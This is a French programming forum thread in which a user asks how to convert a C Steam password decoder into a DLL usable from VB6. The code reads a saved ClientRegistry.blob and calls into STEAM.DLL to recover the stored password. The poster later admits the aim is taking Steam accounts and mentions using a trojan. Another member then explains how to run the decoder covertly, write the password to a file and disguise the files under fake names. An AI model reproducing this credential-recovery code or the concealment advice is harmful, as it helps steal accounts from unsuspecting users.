Convertion C to VB

Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007 - 2 sept. 2005 à 12:11
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007 - 18 mars 2006 à 20:23
Best Pig



Voila j'ai une source en c et j'aimerai pouvoir l'utiliser dans vb, soi
en la convertissant mais je ne suis pas assez fort pour sa, ou alors le
transformer en dl et le réutiliser en vb, es-ce possible, help me plz



la Source en C :



#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#include <sys/stat.h>







#define VER "0.1"

#define FIND "Phrase" "\x01\x50"







typedef int (WINAPI*_steam_dll_pwd)(u_char *phrase, int len, void *boh);

_steam_dll_pwd steam_dll_pwd;

void std_err(void);







int main(int argc, char *argv[]) {

FILE *fd;

HINSTANCE hLib;

struct stat xstat;

u_int len;

u_short nlen;

u_char *buff,

*p,

*limit;



struct {

u_int boh1;

u_char *pass;

u_int boh2;

u_int boh3;

u_int boh4;

u_int passlen;

u_int boh5;

u_int boh6;

} steam_pwd;





setbuf(stdout, NULL);



fputs("\n"

"Steam password decoder "VER"\n"

"by Luigi Auriemma\n"

"e-mail: aluigi@autistici.org\n"

"web: http://aluigi.altervista.org\n"

"\n", stdout);



if(argc < 2) {

printf("\n"

"Usage: %s <ClientRegistry.blob>\n"

"\n"

"
NOTE: this password recovery tool works ONLY on the same computer in
which\n"


" was located the
ClientRegistry.blob file!\n"

"\n", argv[0]);

fputs("\n Press RETURN to exit\n", stdout);

fgetc(stdin);

exit(1);

}



printf("- load %s in memory\n", argv[1]);

fd = fopen(argv[1], "rb");

if(!fd) std_err();



fstat(fileno(fd), &xstat);

buff = malloc(xstat.st_size);

if(!buff) std_err();

fread(buff, xstat.st_size, 1, fd);

fclose(fd);



limit = buff + xstat.st_size - sizeof(FIND);

for(p = buff; p < limit; p++) {

if(!memcmp(p, FIND, sizeof(FIND) - 1)) break;

}



if(p < limit) {

p += 30;

nlen = *(u_short *)p;

p += 2;

len = *(u_int *)p;

p += 4 + nlen;



printf("\nEncoded: %.*s\n", len, p);



fputs("\n- load the local STEAM.DLL file in memory\n", stdout);

hLib = LoadLibrary("STEAM.DLL");

if(!hLib) std_err();

steam_dll_pwd = (_steam_dll_pwd)0x20252397;



printf("\n"


"NOTE: now if the tool crashes means the password cannot be recovered
since the\n"


" ClientRegistry.blob file has not been
created on this computer (Steam\n"


" uses a ProductID based key).\n");



memset(&steam_pwd, 0x00, sizeof(steam_pwd));

steam_dll_pwd(p, len, &steam_pwd);



printf("\nPassword: %s\n", steam_pwd.pass);

FreeLibrary(hLib);



} else {

printf("\n"

"-
Password not found, probably you have not saved it or have disabled
the\n"


" storing of the local account informations through the Settings
menu of Steam\n");

}



free(buff);

fputs("\n Press RETURN to exit\n", stdout);

fgetc(stdin);

return(0);

}







void std_err(void) {

perror("\nError");

fputs("\n Press RETURN to exit\n", stdout);

fgetc(stdin);

exit(1);

}







u_char *steam_pwd(u_char *phrase) {

int i,

len;

static u_char *pwd;

u_char k[16],

*p,

al,

bl;



len = strlen(phrase) >> 1;

pwd = malloc(len + sizeof(char *)); // needed for direct sscanf

p = phrase;

for(i = 0; i < len; i++, p += 2) sscanf(p, "%02hhX", &pwd[i]);



memcpy(k, %.*s + PRODUCTID, 16); // NOT implemented



for(i = 0; i < len; i++) {

bl = pwd[i];

al = k[i & 15];

k[i & 15] = bl;

pwd[i] = al ^ bl;

}

pwd[i] = 0;



return(pwd + (*pwd & 15) + 3);

}



Mon mail, on c'est jamais sa peut servir :

best_pig@hotmail.fr

ou

bestpig82@gmail.com

19 réponses

BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
2 sept. 2005 à 12:55
Refais plutot en dll C qui te retournera direct la réponse en format VB de ton choix, sera plus efficace.
Il faut supprimer la partie console.

Enlever:
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
qui n'ont pas lieu d'être dans un code pour Windows.
Tu peux arriver à une dll de 5 Ko maxi en procédant ainsi.

ciao...
BruNews, MVP VC++
0
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007
2 sept. 2005 à 13:12
Best Pig



Merci pour ta réponse, mais comment faire pour l'utiliser dans vb, pour
appeler la dl en lui donnant la commande ou se trouve le fichier a
analyser et puis en récupérant la variable steam_pwd.pass dan vb?



Quelqun peut m'aidez, sa serait sympa
0
BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
2 sept. 2005 à 13:43
si ta variable à récupérer est String en VB:
2 params ByVal As String dans ta: Declare Fonction.... de vb.
Dans dll, tu prends 2 params char*, faudra au préalable dimensionner ta String VB qui servira de buffer de retour, somme toute rien que de l'habituel pour un appem de dll API.

Si tu veux faire du spécialisé vb au niveau de la dll, tu prends du BSTR*, en ce cas:
params en Byref (par défaut depuis vb).
Ne pas dimensionner de tampon String pour résult, alloc à faire dans dll.
exemple ici car un peu plus compliqué (à peine):
TRAITER STRING VB PAR DLL C/C++ (WIN32)
http://www.cppfrance.com/code.aspx?ID=30115

et dans les 2 cas, retourner un statut d'erreur As Long (long ou int depuis dll) qui t'informe si lire la String de retour ou non, toujours que du normal pour dll api.

ciao...
BruNews, MVP VC++
0
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007
2 sept. 2005 à 18:08
Best Pig

Merci beaucoup de vouloir m'aidez mais le programme pour fonctionner a
besoin quond lui indique un fichier, mais comment faire avec une dll
pour indiquer le fichier, et moi quand je disait vb c'était vb6 et la
source que tu ma donner et en vb net.



J'espère que tu pourra me répondre et encore Merci
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
2 sept. 2005 à 18:28
TRAITER STRING VB PAR DLL C/C++ (WIN32)
http://www.cppfrance.com/code.aspx?ID=30115

est en pur C et le test qui utilise la DLL est en VB dans Excel donc pur VB, aucune trace de .net tout cela.

ciao...
BruNews, MVP VC++
0
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007
2 sept. 2005 à 20:11
Best Pig



J'ai Tester ta Source elle fonctionne suberbement bien, et sa va
beaucoup m'aidez, j'ai presque compris ta source mais je ne peut pas la
compile avec devc++, car la source de ta dll a été faite avec
VisualStudio .net et moi je n'est que Devc++ ou Visual C++ 6, et Visual
Basic 6, donc je n'arriev pas a compiler ta source.



Et Merci ta source et très bien sa va M'aidez,

Je t'ai mis 10/10 donc ta source et noté 10.
0
BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
2 sept. 2005 à 20:37
avec VC6 no prob, tu fais un proj DLL, propriétés EMPTY !!! et tu importes le cpp et le def, à ce point doit compiler.
Vérifie duand même sur l'onglet Linker dans les options du proj que le def est inscrit sinon pas d'export de fonction, ce bon vieux VC6 avait des faiblesses sur cela, suffit d'ajouter à la main.

ciao...
BruNews, MVP VC++
0
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007
3 sept. 2005 à 11:54
Best Pig



Merci voila j'ai réussi a compiler ta dll avec vc6 mais elle fait pas
5Ko elle en fait 196Ko mais peu importe, mais mintenant comment envoyer
un paramètre à une dll, car je repelle que ma dll à besoin quond lui
spécifie un fichier.



Merci de m'aidez
0
BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
3 sept. 2005 à 12:05
196 Ko !!! ah là non, doit y avoir un malaise si c'est juste pour le code plus haut.
Même en laissant le CRT tu peux arriver à +- 28 Ko mais pas plus, vérifie que tu as bien compilé en RELEASE et non en debug.
Le passage de string a fat l'objet de quasi tous les posts plus haut, quel prob reste-t-il ?

ciao...
BruNews, MVP VC++
0
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007
3 sept. 2005 à 12:14
Best Pig



Oui je men suis apecu que javé fait un debug, mais javé deja poster le message, en release j'ai fait 28Ko, C'est koi le CRT??
0
BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
3 sept. 2005 à 12:26
C runtime
exemple ici pour l'enlever
http://www.cppfrance.com/code.aspx?ID=33333

ciao...
BruNews, MVP VC++
0
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007
3 sept. 2005 à 13:49
Best Pig



Dans le lien que tu ma passer, a aucun moment il parle de CRT, bon je sais que je suis nul en c.
0
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007
3 sept. 2005 à 14:06
Best Pig



Quand j'essaye de mettre mon prog en dll, il veut pas.

Pourez tu me le transformer en dll, sa serait très sympa parceque jy arrive pas



Merci D'avance
0
BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
3 sept. 2005 à 14:58
J'ai du publier une douzaine d'exemples en DLL sur cppfrance, faut s'y référer et surtout apprendre le C et l'API.

ciao...
BruNews, MVP VC++
0
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007
3 sept. 2005 à 15:25
Best Pig



Oui mais il me sort des problème, a la compilation je comprend rien, et
comme je sais que tu ty conanit beaucoup, je n'arrive pas a transformer
en dll,



si quelqun pouvait m'aidez
0
blinnit Messages postés 18 Date d'inscription mardi 24 juin 2003 Statut Membre Dernière intervention 18 mars 2006
17 mars 2006 à 05:19
Pour info, le code posté ci-dessus sers a decodé un mot de passe steam contenu dans le clientregistry de steam...

Donc nous avons affaire à qqun qui compte voler des comptes steam et je ne pense pas que l'aider sois une bonne idée...

Pour ceux qui ne savent pas, Steam est le systeme de gestions de tout
les jeux decoulant de half-life, càd Counter-Strike, Day of Defeat,
etc...

Donc si compte volé, la victime ne pourra plus jouer à ses jeux préferés sans les racheter...
0
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007
17 mars 2006 à 18:37
Best Pig

Blinnit tu as raison c'est pour piquez le mot de passe quond ma piqué avec un keylogger, parceque sa fait chier de payé un jeu dans le vent quand meme, j'ai envoyé un mail et steam mais il m'ont pas répondu :(.[auteurdetail.aspx?ID=126266
]
0
blinnit Messages postés 18 Date d'inscription mardi 24 juin 2003 Statut Membre Dernière intervention 18 mars 2006
18 mars 2006 à 20:13
tu connais la personne qui te l'a volé?

Sinon, ne le vole pas a un autre qui n'a rien a voir dans cette
histoire et sera aussi contrarié que toi apres ce vol(Ou fait passer
pour un faux cheat, c'est mieux de voler le compte d'un cheater que
d'une honnete personne)...

Pour l'utiliser avec VB, il y a une methode toute simple et assez discrete, mais c'est assez long a expliquer.

En gros, tu modifie ta source C : tu retire tout les affichages de
textes inutiles, et au lieu de reporter le mot de passe a l'ecran, tu
l'ecrit dans un fichier.

Tu execute ton executable ainsi obtenu depuis ton prog VB, et pour
savoir si il a fini, un simple timer verifiant la presence et la taille
du fichier de sortie suffira...

Une fois le fichier de sortie créé, tu l'ouvre avec ton prog vb, tu l'analyse, et tu le supprime...

Et pour plus de discretion, renome les fichiers steampwd.exe et
steam.dll avec des noms de fichiers bidons, et avant de les executer,
renomme les avec ton prog vb avec leurs vrai noms, puis renome les a
nouveaux avec leurs noms bidons a la fin de l'operation, comme ca on y
vois que du feux(l'operation au totale ne prenant pas plus de 500ms).
0
Rudy3212 Messages postés 154 Date d'inscription vendredi 20 août 2004 Statut Membre Dernière intervention 31 décembre 2007
18 mars 2006 à 20:23
Best Pig

Oui je suis d'accord avec toi, mais ce compte j'ai réussi a le récupéré avec un trojan donc voila.

Mais sinon merci pour ton aide :)
0
Rejoignez-nous